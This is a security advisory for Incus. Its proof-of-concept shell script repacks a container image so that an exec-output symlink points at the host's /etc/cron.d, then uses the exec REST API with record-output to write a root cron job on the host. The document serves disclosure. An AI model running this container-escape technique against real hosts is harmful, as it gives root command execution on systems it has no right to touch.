Incus has an arbitrary file write on host via `exec-output` symlink in crafted image

PoC

Below, we place the exec_UUID.stdout file in /etc/cron.d on the host for arbitrary command execution.

#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp="${1}"

die() {
        printf '%s' "${@}" >&2
        exit 1
}

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d)
cleanup() {
        rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP


# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output


# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip

OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
  -X POST -H 'Content-Type: application/json' \
  -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
  "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null

#find /etc/cron.d/exec_* -exec cat {} \;

Impact

Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.